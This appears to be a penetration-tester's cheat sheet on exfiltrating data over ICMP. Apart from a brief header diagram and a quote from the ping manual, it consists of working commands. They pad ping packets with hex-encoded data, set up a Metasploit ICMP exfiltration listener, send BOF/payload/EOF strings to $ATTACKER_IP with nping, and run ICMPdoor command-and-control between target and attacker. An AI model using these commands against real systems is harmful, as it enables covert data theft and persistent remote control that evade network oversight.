65 lines
2.0 KiB
Markdown
65 lines
2.0 KiB
Markdown
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# ICMP Exfiltration
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* [ICMP Types](https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtm)
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* Type 0, which is Echo Reply contains an optional data field inside the header
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```
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0 1 2 3
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0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
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| Type | Code | Checksum |
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
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| Identifier | Sequence Number |
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
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+ Data +
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
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```
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## Usage
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* The `Pattern` parameter can be used to pad the bytes. From the manual
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```
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-p pattern
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You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing
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data-dependent problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.
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```
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* Pad hex values
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```sh
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ping $TARGET_IP -c 1 -p $(echo "data payload" | xxd -p )
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```
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### Metasploit ICMP Exfiltration
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* Awaiting ICMP data on Attacker
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```sh
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use auxiliary/server/icmp_exfil
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set BPF_FILTER icmp and not src $ATTACKER_IP
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set interface <interface>
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run
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```
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* Exfiltrating from target via `ping` shown above or use `nping`
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* Starting the transmission via `nping` and BOF
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```sh
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sudo nping --icmp -c 1 $ATTACKER_IP --data-string "BOFpayload.txt"
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sudo nping --icmp -c 1 $ATTACKER_IP --data-string "actual payload"
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sudo nping --icmp -c 1 $ATTACKER_IP --data-string "EOF"
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```
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### C2 over ICMP
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* Use [krabelize's ICMPdoor](https://github.com/krabelize/icmpdoor)
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* On target
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```sh
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sudo icmpdoor -i <interface> -d $ATTACKER_IP
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```
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* On attacker
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```sh
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sudo icmp-cnc -i <interface> -d $TARGET_IP
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```
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